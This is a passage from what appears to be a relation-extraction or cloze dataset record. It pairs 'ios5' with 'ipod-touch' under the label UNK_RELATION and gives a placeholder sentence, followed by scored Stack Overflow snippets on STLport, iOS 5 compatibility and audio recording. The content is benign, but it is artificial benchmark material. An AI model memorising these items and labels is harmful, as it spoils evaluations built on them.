incomplete error messages and no code are provided it hinders efforts to help . Comment : I updated the error message from the linker . I hope this helps Comment : Are you using VC++ If so have you tried the built-in STL Also is that Qt you re mixing in as well I m guessing from the moc stuff It seems a bit excessive to pile Qt and a third-party STL on top of .Net.. . Comment : You re right . I m using Qt . And i ve successfully built Qt with Stlport without any problems since it s unmanaged code only . I only have problems in a .NET module which tries to use some unmanaged DLLs . The built-in STL is not an option since the performance is quite bad in the debug version and we need some options to reduce the debug overhead on STL . That s why we chose stlport . .. . Answer : C++ compilators use name-mangling http : en.wikipedia.org wiki Name mangling eg . void h int becomes h@@YAXH@Z when compiling with MSVC++ 6 7 .. . .. . However the name conversions differ between compilers and even between compiler versions . Your DLL was probably compiled with a different compiler or an older version of the compiler which used different names . Try to recompile the library with the compiler you re using . Comment : I m using Visual Studio 2008 for all parts of the project . So i definitely use the same compiler and compiler version for everything . Comment : But did you compile stlport with Visual Studio 2008 too Comment : Yes of course . I used the same compiler for StlPort Qt and my current project . All with the same compiler settings except for the CLR stuff .", "Question : I am trying to write a container class which uses STL allocators . What I currently do is to have a private member .. . .. . this will later be templated so that the user can pick a different allocator and then call .. . .. . to get a pointer to a newly allocated T object and used alloc .construct to call the constructor see the answer below . This works with the GNU C++ library . However with STLPort on Solaris this fails to do the right thing and leads to all sorts of bizarre memory-corruption errors . If I instead do .. . .. . then it is all working as it should . What is the correct way to use the stl : : allocator The STLPort Solaris version fails to compile with g++ but is g++ right Comment : There is nothing called allocator interface in the standard-library . .. . Answer : You need to both allocate and construct with the allocator . Something like this : .. . .. . Lots of things are downright broken if you don t start with a properly constructed object . Imagine a std : : string being allocated but not constructed . When you try to assign to it it will first try to cleanup its old contents by freeing some data which will of course be garbage values from the heap and crash . Comment : Yes I know I actually did that though I used placement new instead of std : : allocator T : : construct which is probably not recommendable so I changed that now . However it turns out that STLPort 4.x does not know about std : : allocator T : : construct either.. . Comment : If STLPort doesn t have std : : allocator T : : construct then it is broken don t bother even using it . I can tell you for certain that 5.1.5 the version I have installed does have it and works fine . Comment : I looked to satisfy my curiosity STLPort 4.x does have a proper standards conformant std : : allocator . In 4.6 the construct function is found on line 365 of stlport stl alloc.h . If it isn t working your install isn t correct .", "Question : I m building boost 1.48.0 with STLport 5.2.1 on Windows using MSVC 7.1 and here is the command-line I run : .. . .. . My user-config.jam is setup like so : .. . .. . I get several linker errors relating to STLport . One of them looks like this : .. . .. . Why can t I get Boost building with STLport .. . Answer : Your using stlport line is missing a version specifier . Change it to : .. . .. . Then when you invoke bjam b2 specify the feature with the version included i.e . Of course for versions of STLPort other than 5.2.1 substitute the correct version numbers . Comment : This worked perfectly . Looks like the user-config.jam documentation comments need to be updated to reflect this . Comment : Actually it failed again with a bunch of linker-error unresolved symbols from STLport.. . so not sure if boost is trying to link in the LIB . Comment : @RobertDailey : You can pass -n to bjam b2 to see the compiler and linker commands instead of executing them if you do so do you see the directories you specified in your using stlport being used at all Comment : Yes I do see the lib path . Here is the command being output : ....... . link NOLOGO INCREMENTAL : NO DLL DEBUG subsystem : console out : bin.v2 libs graph build msvc-7.1 debug stdlib-stlport-5.1 threading-multi boost graph-vc71-mt-gdp-1 47.dll IMPLIB : bin.v2 libs graph build msvc-7.1 debug stdlib-stlport-5.1 threading-multi boost graph-vc71-mt-gdp -1 47.lib LIBPATH : C : Code work rdailey-t510 depot dev gfe-dev server external stlport WI NNT5.0 OPT.OBJ lib @ bin.v 2 libs graph build msvc-7.1 debug stdlib-stlport-5.1 threading-multi boost-graph -vc71-mt-gdp-1 47.dll.rsp Comment : I had to unmark this as NOT the answer because despite all of the extremely great help ildjarn has provided I still cannot get boost to build with STLport 5.2.1" ] }
[]
multiplatform
UNK_RELATION
ios5@ipod-touch@93
ios5 -- ios 5 was released by apple on oct 13 2011 .it runs on iphone-3gs iphone-4 iphone 4s @placeholder 3rd and 4th generation as well as all ipad models.it has been succeeded by ios 6 .
{ "confidence": [ 57.586910247802734, 56.410484313964844, 55.854122161865234, 55.619354248046875, 52.9227180480957, 51.966007232666016, 51.7031135559082, 51.2172966003418, 51.072532653808594, 50.969078063964844, 50.838443756103516, 50.644222259521484, 50.18505096435547, 50.06709289550781, 49.99185562133789, 48.96831130981445, 48.35476303100586, 47.05644226074219, 46.44546890258789, 46.2484016418457, 45.55538558959961, 45.295230865478516, 45.23244857788086, 45.18518829345703, 44.72328567504883, 44.39736557006836, 44.14961624145508, 43.93271255493164, 43.850406646728516, 43.59939956665039, 43.48454666137695, 43.238155364990234, 43.225101470947266, 42.7346076965332, 42.463897705078125, 42.03462600708008, 41.41109848022461, 41.1383171081543, 40.93446350097656, 40.721431732177734, 40.64992141723633, 40.48008728027344, 40.37661361694336, 40.3310661315918, 40.04945755004883, 39.725440979003906, 39.695133209228516, 39.605262756347656, 39.605262756347656, 39.5922966003418, 39.28785705566406, 39.23741149902344, 39.12327575683594, 39.071388244628906, 39.071388244628906, 38.88669967651367, 38.770652770996094, 38.57289505004883, 38.46928024291992, 38.41493606567383, 38.404998779296875, 38.401145935058594, 38.288543701171875, 38.241859436035156, 38.01576614379883, 37.8614616394043, 37.80592346191406, 37.55118942260742, 37.45361328125, 37.40510940551758, 37.30018615722656, 37.06970977783203, 37.02293395996094, 36.88144302368164, 36.633731842041016, 36.633731842041016, 36.46672821044922, 36.298362731933594, 36.206947326660156, 36.179847717285156, 35.91339111328125, 35.71805953979492, 35.611045837402344, 35.5013427734375, 35.47747802734375, 35.373878479003906, 35.36456298828125, 35.222408294677734, 35.2165412902832, 35.17549514770508, 35.11338806152344, 35.07477569580078, 35.07477569580078, 35.00086975097656, 34.95682144165039, 34.93790054321289, 34.93790054321289, 34.93790054321289, 34.758487701416016, 34.680877685546875 ], "content": [ "It will work on iPhones running iOS 5 so only the iPhone 3GS or iPhone 4 .", "We ve tested on iPhone 4s iPhone 4 iPod Touch 4th Gen and iPad 1 and haven t been able to reproduce the problem .", "I am using iPhone 5 with iOS 6 .", "I want to support iPhone 3GS running iOS 5 and later .", "Now that iOS 5 is out and compatible with iPhone 3GS up http : www.apple.com ios features.html promofooter should we still support iOS 4", "I ve only tested this on the iOS 5 simulator and with an iPhone with iOS 5 .", "We ve had the problem reported on iPhone 4s iPod Touch 4th Gen and iPhone 3GS but it s not effecting other users on these same devices .", "I have an iOS project that supports iPhone 3GS and on and requires iOS 5 or later .", "For that I would have recent statistics on the use of ios 5 and 6 on the iPhone .", "I m working an on iOS game and recently tested on an iPhone 4S .", "For iOS 5 you ll need a jailbroken iPhone .", "Does not seem to work on iOS 8.4 iPhone 6", "I have made an app targeted for iOS 5 and iOS 6 and for some reason it only rotates when using it on devices with iOS 6 wether on an iPhone or an iPad and doesn t rotate on devices using iOS 5 .", "This works fine in iphone prior to ios 5 .", "iOS 6 was supported by iPhone 3GS so I believe that anything iOS 6 or below you d have to test for gyro capability .", "I have had several clients test the app and every one of them with iOS 5 has this exact same problem - no matter the device iPod 2g iPod 4g iPhone 3GS iPhone 4 .", "Is this an iPhone 4S bug", "how is it possible even that I could test my apps written for iOS 4.2 on iPhone 4S with iOS 5.0 but now suddenly I cannot test target for iOS 5.0 on my iPhone with iOS 5.1.1 .. .", "developer.apple.com library ios documentation iphone conceptual http : developer.apple.com library ios documentation iphone conceptual iphoneosprogrammingguide iphoneappprogrammingguide.pdf", "iPhone : .. . .. . iPad :", "You would need a regex like var iOS5 iPhone iPad .", "I am trying to create an iPhone photo app that defaults to HDR mode when taking pictures with iPhone 4 4s .", "Apple Watch will require iPhone 5 or above .", "ios5 working well but ios 4 is not-responding .", "I ve just finished the Apple tutorial on Storyboard and ran the app on my iPhone 4 running iOS 5.1.1 .", "According to this thread : ExtAudioFileWrite to m4a aac failing on dual-core devices ipad-2 iphone 4s http : stackoverflow.com questions 8719865 extaudiofilewrite-to-m4a-aac-failing-on-dual-core-devices-ipad-2-iphone-4s certain iPhone models 4S for example don t play nice with the hardware decoder .", "Thats where the problem rises the app crashes after loading 4-5 images on 3GS and 11-13 images on iPhone 4 .", "Did not work for me on iPhone 5s iOS 9.2.1", "One other approach can be to design separate views for iPhone 5 and iPhone 4S .", "My application works fine on iPhone 4S but when I try to install on iPhone 4 then it crashes .", "I am only able to debug and test on my iphone-4 with iOS 5 installed .", "That means with iOS 5 in the wild that you continue to support iOS 4 until iOS 6 is released .", "However I can t replicate this crash on either my device also an iPhone 4 running iOS 5 or in the simulator for iOS 5 .", "I need to live-demo a Mobile Safari browser app iOS 5 iPhone 4S on my Macbook and was wondering the best way to do this", "will I still be able to support iPhone 3GS", "I iPhone submitted for Apple .", "I just recently downloaded the Xcode 4.2 with iOS 5 SDK package and I immediately noticed that I am unable to use my iPhone 3Gs with iOS 4.2.1 for debugging .", "According to Apple https : developer.apple.com library ios documentation DeviceInformation Reference iOSDeviceCompatibility DeviceCompatibilityMatrix DeviceCompatibilityMatrix.html these are the base models with Gyroscope capability : iPhone 4 iPad 2 and iPod Touch 4 .", "I m assuming that apple is not going to remove the accelerometer from iPhone 5 .", "From developer.apple.com library ios documentation iphone conceptual https : developer.apple.com library ios documentation iphone conceptual iphoneosprogrammingguide PerformanceTuning PerformanceTuning.html In iOS 5.1 and later store support files in the Application Home Library Application Support directory.. .", "I only call this for iOS devices : var isIOS iPad iPhone iPod g.test navigator.userAgent", "I ve got an iPhone 3GS for testing which is running the latest version of iOS 5 5.0.1 but it only seems to get coarse location based on WiFi my friend s 3GS exhibits the same behaviour .", "Do you need to implement this for iPhone or iPAd", "In the if-statement change the value according to the iphone i.e . if iphone 4S change it to 265 and in didbeginediting change the 320 to 240 and if iphone-5 change it to 350 and in didbeginediting method keep it as 320 because it is the logic if u understand", "As far as I understand and as far as my iPhone iPod running iOS 5 and iOS 4.3 respectively work it s all quite automatic .", "iPad iPod iPhone and then if that s the case parse out the version of.. . not the iOS but probably the browser i.e .", "Drilling down inside that .app there is an installation package for the iOS 5.0 iPhone Simulator .", "The problem is that you re not checking if the device is an iPad or iPhone .", "iPhone does not support presentFromRect : but iPad does .", "I have used this method in the past to detect if the silent switch is enabled : .. . .. . This is no longer working in iOS5 on my iPad or iPhone .", "Guvener Gokce http : stackoverflow.com users 80973 guvener-gokce has a very educational blog post on this : iPhone Wireless Scanner iOS5 http : blog.guvenergokce.com iphone-wireless-scanner-ios5 170", "in iPhone .", "This is working on iOS 5 and iOS 6 .", "I m toying with AirPlay using an iPhone 4S and I m having some trouble .", "The software codec works fine on an iPhone 4S at the expense of slower performance .", "No whatever you do for iOS 5 will work on iOS 6 as well .", "Require : .. . .. . Xcode 4.3.2 iPhone with iOS 5.1.x Mac .", "I did some tests and is working normally here : iPad 1 5.1 as server connected to an iPhone 4s 6.0 .", "I recently had an app rejected for crashing on launch on an iPhone 5 in iOS 5.0 and the good folks at Apple attached a crash report .", "People with iPhone 3G s and older iPod Touches won t be able to upgrade to iOS5 .", "edumobile.org iphone iphone-programming-tutorials http : www.edumobile.org iphone iphone-programming-tutorials parsing-an-xml-file", "So my app still works in all iOS versions but this feature is only available in iOS 5 Apple removed or changed it in iOS 6 beta 1 .", "My question is first : will I still be able to support iPhone 3GS", "Tested on iPad IOS 4 like ancient IOS .", "It is working perfect in on iOS 4 but has problems on iOS 5 .", "Definitely not perfect but it has the desired effect I ve only tested in iOS 7 on iPhone only works in portrait as written .", ".. . .. . Many people have iPhone 3G or even the original iPhone and these are so old that it s not wise to run newer iOS versions than 3.x on them .", "Also if you re new to iPhone Dev iOS 5 makes it much easier with ARC and storyboards among many other features .", "A fixed link : developer.apple.com library ios documentation iphone http : developer.apple.com library ios documentation iphone conceptual iphoneosprogrammingguide AdvancedAppTricks AdvancedAppTricks.html apple ref doc uid TP40007072-CH7-SW50", "Add launch images for iPhone 5 above .", "You can apply the linker flag conditionally to iOS SDKs but not the iPhone Simulator in XCode 4 .", "The app failed to build with the following error message : .. . .. . Storyboards are unavailable on iOS 4.3 and prior .. . .. . Both the iPhone and iPad storyboards tell me that .", "NO .. . .. . Apple doc clearly says https : developer.apple.com library ios documentation iphone conceptual iphoneosprogrammingguide AppDesignBasics AppDesignBasics.html .. . .. . Storyboards are supported in iOS 5 and later and are enabled by default for new projects .", "When i was running iOS 5.0.1 I followed this thread : How can I deploy an iPhone application from Xcode to a real iPhone device", "Tried changing to different simulator types iPhone iPad but the results are the same .", "I also noticed differences between iPAd and iPhone behaviour .", "As a beginning iPhone programmer what is the best practice for writing apps to be used either with iOS 5 or older versions", "Is there a way to access these Web Dynpro components from iOS mobile applications iPhone iPad to leverage the existing business logic server-side", "I ve used html5boilerplate mobile as a test case - I m able to browse to their site and add the icon to the home screen on my iPhone 4S iOS5 .", "I got alert : .. . .. . The version of iOS on iPhone Prophone does not match any of the versions of iOS supported for development with this installation of the iOS SDK .", "hi iphone try this", "Thank you for your precise answer : - Indeed I want to be able to run my app on an iPhone 3G with iOS 4.2.1 or lower limiting to 4.0 and have some iOS 5 specific features for current devices .", "Has this changed in iOS 6", "Can you build some Apple sample code for iPhone and run it on the simulator", "When I run my code with the iOS 5.1 simulator or with an iOS 5.1 device it runs like iOS 5.x NOT iOS 6 .", "I m just about done a webpage but there is one bug in Mobile Safari iPhone and iPad iOS 5.0.1 with two buttons that are fixed to the upper and lower right corners. .", "Now we would like to create a Mobile UI iPad and iPhone using iOS native technology but we need to access these Web Dynpros components which are on the server from iOS native UI from Mobile .", "This worked well in iOS5 .. . .. . But in the released version of iOS 6 the taps are now completely ignored so I can t hide my navigation bar anymore .", "Any help this link - marco.org 2011 10 13 ios5-caches-cleaning http : www.marco.org 2011 10 13 ios5-caches-cleaning", "If you run the same app in the iOS 5 iPhone simulator you get output like this : .. . .. . Notice the outside moved event only fires once .", "I hooked up touchUpInside as usual in IB using new Xcode build set to iOS 5.0 but my iPhone 4 latest iOS5 right before iOS6 came out seems not to respond to that .", "Worked on iOS 5 and stopped working on iOS 6 GM .", "The unwind segue is part of ios 6 and will not work on ios 5 .", "I would also like to separate my iPhone and iPad code using the technique outlined in Kotan Code s post http : www.kotancode.com 2011 04 05 ios-universal-apps .", "Im having the same issue that a nil view is being pushed but it is even happening on my test device an iPhone 4 running iOS 5.1", "It sets the brightness for the device on iPad and iPhone just like in the Settings .", "You re mistaken Targets iPhone is not a thing that can not run on the iPad .", "Use present from Bar Button on iPad : .. . .. . on iPhone it does not matter .", "http : stackoverflow.com questions 1121548 iphone-speech-recognition-api and free speech-recognition engines for iOS", "I went for a real iPhone 4S because otherwise you won t experience all of the bugs : -" ] }
{ "confidence": [ 83.01964569091797, 80.54215240478516, 79.36385345458984, 76.87591552734375, 74.28390502929688, 68.09332275390625, 68.08657836914062, 67.28671264648438, 67.2496337890625, 67.10668182373047, 65.5273208618164, 65.06770324707031, 64.31058502197266, 62.02773666381836, 61.17679214477539, 60.87623596191406, 60.668033599853516, 60.39585494995117, 60.01744842529297, 59.12218475341797 ], "content": [ "Question : The release of IOS5 has this core function listed as deprecated https : developer.apple.com library prerelease ios documentation UIKit Reference UIAccelerometerDelegate Protocol DeprecationAppendix AppendixADeprecatedAPI.html apple ref occ intfm UIAccelerometerDelegate accelerometer 3adidAccelerate 3a . Does anyone know what will replace it I m assuming that apple is not going to remove the accelerometer from iPhone 5 . .. . Answer : I did not yet use iOS 5 but already in 4.x UIAccelerometer and UIAccelerometerDelegate were replaced by the CoreMotion framework . It is more sophisticated takes gyroscope signals into account and performs a sensor-fusion i.e . does calibrating stuff like bias calculation for you . Basically the CMDeviceMotionHandler block callback is now the equivalent . It is called every deviceMotionUpdateInterval seconds or you can go with your own timer loop and pull the data . It is pretty straightforward and easy to use . Look at Simple iPhone motion detect http : stackoverflow.com questions 5214197 simple-iphone-motion-detect 5220796 5220796 and follow the three links to the SDK docs . There are three things you have to bear in mind : .. . .. . Working with Device Motion requires iPhone version 4 or newest iPod touch generation because it relies on gyroscope support .. . When using Device Motion you must not use low pass filtering to extract gravity because it is done for you .. . If you want to support older hardware you have to work with raw data . This is done by creating a CMAccelerometerHandler and calling startAccelerometerUpdatesToQueue : withHandler : http : developer.apple.com library ios documentation CoreMotion Reference CMMotionManager Class Reference Reference.html apple ref occ instm CMMotionManager startAccelerometerUpdatesToQueue 3awithHandler 3a . Then you have to extract gravity with low pass filtering like in didAccelerate Comment : So do you know what replaces accelerometer : didAccelerate : My application uses it but I would like to support the application in iOS5 when it is released . Thanks Comment : @jcpennypincher : See updated answer and follow the 3 links provided in the referenced answer Simple iPhone.. . . Comment : At the time that Kay wrote this answer the newest iPod touch was the iPod Touch 4 . According to Apple https : developer.apple.com library ios documentation DeviceInformation Reference iOSDeviceCompatibility DeviceCompatibilityMatrix DeviceCompatibilityMatrix.html these are the base models with Gyroscope capability : iPhone 4 iPad 2 and iPod Touch 4 . From my research if you are on iOS 7 or above then you are definitely on a device that has gyro capability . iOS 6 was supported by iPhone 3GS so I believe that anything iOS 6 or below you d have to test for gyro capability .", "Question : I ve got a live app with an estimated 15 of users reporting that the record feature is not working . This isn t happening on our test devices but the reports show that the problem is that prepareToRecord is returning NO . I ve had trouble finding sample settings for AAC format . Are any of my settings off App requires iOS5 and uses ARC . Comment : Have you tested this app on all the devices that currently support iOS 5 Maybe this problem is hardware-related Comment : We ve had the problem reported on iPhone 4s iPod Touch 4th Gen and iPhone 3GS but it s not effecting other users on these same devices . We ve tested on iPhone 4s iPhone 4 iPod Touch 4th Gen and iPad 1 and haven t been able to reproduce the problem . Comment : This crashes in the sim . Comment : My understanding is that you should only test on the devices since they use entirely different audio hardware . I ve also seen several reports of problems with the audio-recording and playback in the Sim with iOS5 as described here : stackoverflow.com questions 6906930 http : stackoverflow.com questions 6906930 avaudiorecorder-is-broken-on-ios-5 However if you see a specific setting that you believe may be causing the problem with the Simulator and the Devices please let me know . .. . Answer : Apologies that this is slightly tangential but I ve just had a very similar issue with a number of users not being able to record which I thought was related to audio settings . However for me it turned out that they had denied permission to access the microphone . This meant that prepareToRecord was working and truncating the file and record was reporting that it was working but actually it wasn t recording anything . And I used this when I want to record : .. . .. . Hope it saves someone some time if they run into a similar issue .", "Question : I ve got a live app with an estimated 15 of users reporting that the record feature is not working . This isn t happening on our test devices but the reports show that the problem is that prepareToRecord is returning NO . I ve had trouble finding sample settings for AAC format . Are any of my settings off App requires iOS5 and uses ARC . Comment : Have you tested this app on all the devices that currently support iOS 5 Maybe this problem is hardware-related Comment : We ve had the problem reported on iPhone 4s iPod Touch 4th Gen and iPhone 3GS but it s not effecting other users on these same devices . We ve tested on iPhone 4s iPhone 4 iPod Touch 4th Gen and iPad 1 and haven t been able to reproduce the problem . Comment : This crashes in the sim . Comment : My understanding is that you should only test on the devices since they use entirely different audio hardware . I ve also seen several reports of problems with the audio-recording and playback in the Sim with iOS5 as described here : stackoverflow.com questions 6906930 http : stackoverflow.com questions 6906930 avaudiorecorder-is-broken-on-ios-5 However if you see a specific setting that you believe may be causing the problem with the Simulator and the Devices please let me know . .. . Answer : Try this settings which i used to record MPEG 4 AAC format...Its working good. . Comment : Thanks for posting . This is the type of response I was looking for however I m a little confused by some of these settings . Why is there a LinearPCM property specified when recording AAC Also a Bit Rate of 16 doesn t seem to make sense . Wouldn t that be a value for the bit depth My understanding that the Bit Rate is in bits per second . Comment : I do not know how much we need to give for bit rate and all . I just had a working code with this setting and i just gave it for you simply . Comment : May be i need to go through the documentation for these settings for myself too . Comment : That s just it Apple doesn t provide helpful documentation for these settings . Comment : I tried these settings on iOS 7 and the AVEncoderBitRateKey setting made the recording fail silently it would output an empty file with just the headers in it . I ended up using these settings : @ AVFormatIDKey : @ kAudioFormatMPEG4AAC AVEncoderAudioQualityKey : @ AVAudioQualityMin AVSampleRateKey : @16000.0 AVNumberOfChannelsKey : @1", "Question : Now that iOS 5 is out and compatible with iPhone 3GS up http : www.apple.com ios features.html promofooter should we still support iOS 4 Comment : This is a silly question . It obviously depends on your particular situation . Comment : I still use iOS 3.2 and I refuse to install any app that requires upgrading because I can t be bothered with the nightmare of an upgrade I guess you have to ask if the customers like me are worth the extra effort if there is any extra effort .. . Answer : Yes according to Read Write Web http : www.readwriteweb.com archives 25 million people are using ios 5 despite early hi.php 25 million people have updated to iOS5 which is only about 25 according to an article from March 2011 http : www.startupsmart.com.au technology 2011-03-03 apple-unveils-ipad-2-on-sale-in-australia-on-march-25.html .", "Question : I ve got a live app with an estimated 15 of users reporting that the record feature is not working . This isn t happening on our test devices but the reports show that the problem is that prepareToRecord is returning NO . I ve had trouble finding sample settings for AAC format . Are any of my settings off App requires iOS5 and uses ARC . Comment : Have you tested this app on all the devices that currently support iOS 5 Maybe this problem is hardware-related Comment : We ve had the problem reported on iPhone 4s iPod Touch 4th Gen and iPhone 3GS but it s not effecting other users on these same devices . We ve tested on iPhone 4s iPhone 4 iPod Touch 4th Gen and iPad 1 and haven t been able to reproduce the problem . Comment : This crashes in the sim . Comment : My understanding is that you should only test on the devices since they use entirely different audio hardware . I ve also seen several reports of problems with the audio-recording and playback in the Sim with iOS5 as described here : stackoverflow.com questions 6906930 http : stackoverflow.com questions 6906930 avaudiorecorder-is-broken-on-ios-5 However if you see a specific setting that you believe may be causing the problem with the Simulator and the Devices please let me know . .. . Answer : it could be many things not having to do with the recording settings . the real question you want answered seems to be : what would cause the recording not to occur audioRecorder could be nil or audioRecorder prepareToPlay could be returning NO . the former seems more likely . the url passed to initWithURL could be malformed : - have you tested by playing with the verseGUID bRecordReference values maybe your devices never have a bad verseGUID but the devices on which no recording happens have a nil empty verseGUID . this could cause the filename to be simply .caf . you seem to have your own class-method Utilities sharedInstance . could this work for some reason on your devices but not on the failing devices if so you could be asking to record in a top level directory when you did not mean to . can you get the testers you have onto a beta list sign up for something like TestFlight or Hockey Kit get one or more of the users with a failure to record to also sign up and then upload a beta of your app with diagnostics that put a dialog on screen with the resultant error . that might be most obvious . i use testflightapp.com only because it was the first i tried it was pretty easy for me to manage and pretty painless for my beta testers . Comment : +50 for TestFlight recommendation and because the bounty period has expired . I d still love it if someone could confirm that my recording settings are valid . Apple s documentation on these is incredibly lacking .", "Question : A customer sent me a crash log from an iOS 5.0.1 9A405 device . I m running Xcode 4.2 on Snow Leopard . The system parts of the crash log call stack fail to symbolicate and it seems that they re relevant to the crash there are no iOS 5.0.1 symbols in Xcode . I don t have a 5.0.1 device and I don t think I can install it now that 5.1 is the latest . Is there a way for force-download symbols for a given iOS version in Xcode without plugging in a device EDIT : seems like you can force a specific iOS version to a device using Xcode s organizer and a restore software image . However the Dev Portal only offers 5.1 restore images for download . Are older ones available anywhere .. . Answer : There are links to the 5.0.1 firmware are as follows : .. . .. . iPhone 4S here http : appldnld.apple.com iPhone4 041-3305.20111109.Bghy6 iPhone4 1 5.0.1 9A405 Restore.ipsw .. . iPhone 4 GSM here http : appldnld.apple.com iPhone4 041-3309.20111109.64rtg iPhone3 1 5.0.1 9A405 Restore.ipsw .. . iPhone 4 CDMA here http : appldnld.apple.com iPhone4 041-3304.20111109.Vgtyh iPhone3 3 5.0.1 9A405 Restore.ipsw .. . iPhone 3GS here http : appldnld.apple.com iPhone4 041-3307.20111109.5tGhu iPhone2 1 5.0.1 9A405 Restore.ipsw .. . iPad 2 WiFi here http : appldnld.apple.com iPhone4 041-3310.20111109.Cfp76 iPad2 1 5.0.1 9A405 Restore.ipsw .. . iPad 2 GSM here http : appldnld.apple.com iPhone4 041-3311.20111109.Vpr43 iPad2 2 5.0.1 9A405 Restore.ipsw .. . iPad 2 CDMA here http : appldnld.apple.com iPhone4 041-3312.20111109.zp3ws iPad2 3 5.0.1 9A405 Restore.ipsw .. . iPad here http : appldnld.apple.com iPhone4 041-3308.20111109.Fvgtr iPad1 1 5.0.1 9A405 Restore.ipsw .. . iPod touch 3G here http : appldnld.apple.com iPhone4 041-3314.20111109.Mbgh6 iPod3 1 5.0.1 9A405 Restore.ipsw .. . iPod touch 4G here http : appldnld.apple.com iPhone4 041-3313.20111109.Azxe3 iPod4 1 5.0.1 9A405 Restore.ipsw .. . .. . Could you use those at all Comment : Macstories.net http : macstories.net has linked to them when announcing iOS updates http : www.macstories.net news apple-releases-ios-5 in case you want to download directly . Possibly there . Comment : Started working then popped up a message that The device is not eligible for the requested build . The model is right I ve rechecked a few times.. . Comment : Hmmm.. . I m guessing Apple won t allow you to back-install even if you have the ipsw.. . Sorry I can t think of anything else besides SSH blobs :", "Question : As a beginning iPhone programmer what is the best practice for writing apps to be used either with iOS 5 or older versions Specifically should I continue using the release retain of data or should I ignore that Does it matter Comment : Use ARC and follow the best practices as outlined here : amattn.com 2011 12 07 arc best practices.html http : amattn.com 2011 12 07 arc best practices.html If you do that you will find that ARC just works . If you don t follow those practices you ll end up with leaks and spend lots of time tracking them down... . .. . Answer : The details are light under NDA at the moment but Apple has implemented Automatic Reference Counting ARC in iOS 5 as detailed here : http : developer.apple.com technologies ios5 .. . .. . If you develop a new app in Xcode 4 with the iOS 5 SDK you can safely ignore retain release counting . edit sudo rm -rf makes a good point third party libs may be significantly affected Comment : Will applications developed using iOS 5 work with older iPhones Comment : It will work on iPhones running iOS 5 so only the iPhone 3GS or iPhone 4 . I don t believe it will support iOS 4 but then again it s done by LLVM when compiling so it might be possible to produce a binary for iOS 4 and 5 . I highly recommend getting an iOS Developer account and playing around with the available options . Comment : As sudo points out in his comment on nevan s answer you can indeed target back to iOS 4.0 with ARC so older devices that can run that OS are compatible with this . Comment : I saw that - fantastic news", "Question : Now that iOS 5 is out and compatible with iPhone 3GS up http : www.apple.com ios features.html promofooter should we still support iOS 4 Comment : This is a silly question . It obviously depends on your particular situation . Comment : I still use iOS 3.2 and I refuse to install any app that requires upgrading because I can t be bothered with the nightmare of an upgrade I guess you have to ask if the customers like me are worth the extra effort if there is any extra effort .. . Answer : If iOS 5 specific features aren t needed then YES . People with iPhone 3G s and older iPod Touches won t be able to upgrade to iOS5 . Also there is a lag in how long it takes for the entire population of app users to migrate to iOS5 .", "Question : Is there a way to prevent your application data Documents folder contents from being synced to iCloud other then storing it in Caches directory because of the new issues in iOS5 with doing that http : www.marco.org 2011 10 13 ios5-caches-cleaning My Application has need of storing data on the device but for security reasons it can t be synchronized to any 3rd party including Apple . .. . Answer : See iOS App Programming Guide : iCloud Storage https : developer.apple.com library ios documentation iPhone Conceptual iPhoneOSProgrammingGuide iCloud iCloud.html apple ref doc uid TP40007072-CH5-SW1 . It describes that an app must be signed with iCloud entitlements so that seems to imply that if you don t do anything then you should be fine . Comment : I m guessing he wants to avoid the data being sent to the cloud when the user backups the device with iCloud . Comment : Correct . I m talking about the data in the Documents folder .", "Question : Now that iOS 5 is out and compatible with iPhone 3GS up http : www.apple.com ios features.html promofooter should we still support iOS 4 Comment : This is a silly question . It obviously depends on your particular situation . Comment : I still use iOS 3.2 and I refuse to install any app that requires upgrading because I can t be bothered with the nightmare of an upgrade I guess you have to ask if the customers like me are worth the extra effort if there is any extra effort .. . Answer : The general rule of thumb is if you want to live as close to the edge with Apple that you support the current and previous releases . That means with iOS 5 in the wild that you continue to support iOS 4 until iOS 6 is released .", "Question : I have an iOS project that supports iPhone 3GS and on and requires iOS 5 or later . This project is using nibs instead of storyboards and is using ivars and properties the old way i.e declaring ivars and the appropriate properties . I would like to work hard and convert this project to a new way i.e to storyboards and clean up the redundant ivars and the synthesise things . It does use ARC though . My question is first : will I still be able to support iPhone 3GS And second is there any convenient way to transform this project to the new-fashioned way besides just manually copying the nibs to storyboards and managing all the IBOutlets and IBActions and so on Thanks .. . Answer : will I still be able to support iPhone 3GS NO .. . .. . Apple doc clearly says https : developer.apple.com library ios documentation iphone conceptual iphoneosprogrammingguide AppDesignBasics AppDesignBasics.html .. . .. . Storyboards are supported in iOS 5 and later and are enabled by default for new projects . If your app must run on earlier versions of iOS though you cannot use storyboards and should continue to use nib files .. . .. . Is there any convenient way to transform .. . .. . There is no shortcut single step to convert an existing application to use storyboards . Converting to Storyboards http : developer.apple.com library ios releasenotes Miscellaneous RN-AdoptingStoryboards index.html Comment : I want to support iPhone 3GS running iOS 5 and later .", "Question : I changed a while ago from Xcode 3 to Xcode 4.2 for Snow Leopard . Everything was fine I developed apps for iPhone and all was going smoothly until today.. . I got alert : .. . .. . The version of iOS on iPhone Prophone does not match any of the versions of iOS supported for development with this installation of the iOS SDK . Please restore the device to a version of the OS listed below or update to the latest version of the iOS SDK which is available here . Which is strange because yesterday I was able with simple run test my app aimed for iOS 5.0 Xcode target 5.0 4C199 with my iPhone 4S which has iOS 5.1.1 9B206 for quite some time . In Organizer- Devices my iPhone has a yellow dot suggesting that something is wrong . I don t think I did something unexpected just came turned mac on and fired up Xcode.. . any solution I ve read that http : stackoverflow.com questions 7812477 xcode-4-2-cant-build-to-a-device but as I said - I was using new Xcode for few weeks and suddenly this non-detection happened.. . I m stuck thanks for help . EDIT : .. . I found something relevant in this topic on SO http : stackoverflow.com questions 9613565 is-is-possible-to-get-the-ios-5-1-sdk-for-use-with-xcode-4-2-on-snow-leopard but I ll wait a bit - maybe there is something simpler or more obvious that I missed . Comment : how is it possible even that I could test my apps written for iOS 4.2 on iPhone 4S with iOS 5.0 but now suddenly I cannot test target for iOS 5.0 on my iPhone with iOS 5.1.1 .. . Comment : I think you just got lucky having it run at all . Xcode is setup to not let you run an app on a device that is running software newer than the current Xcode version knows about . What you want to do is just not possible - if you want to test on this device then switch to 4.3 on a Lion machine . Comment : thanks : unfortunatelly I can t do that right now . but I did manage to solve problem with solution from here stackoverflow.com questions 9611596 http : stackoverflow.com questions 9611596 ios-5-1-with-xcode-4-2-and-retina-in-ipad-3 9728951 9728951 .. . Answer : I managed to solve the problem by : .. . 1 downloading xcode 4.3.1 .. . 2 copying from package content SDK Device Support for iOS 5.1 into Xcode directories .. . 3 run and test on your device .. . .. . .. . solution found here : iOS 5.1 with Xcode 4.2 and retina in iPad 3 http : 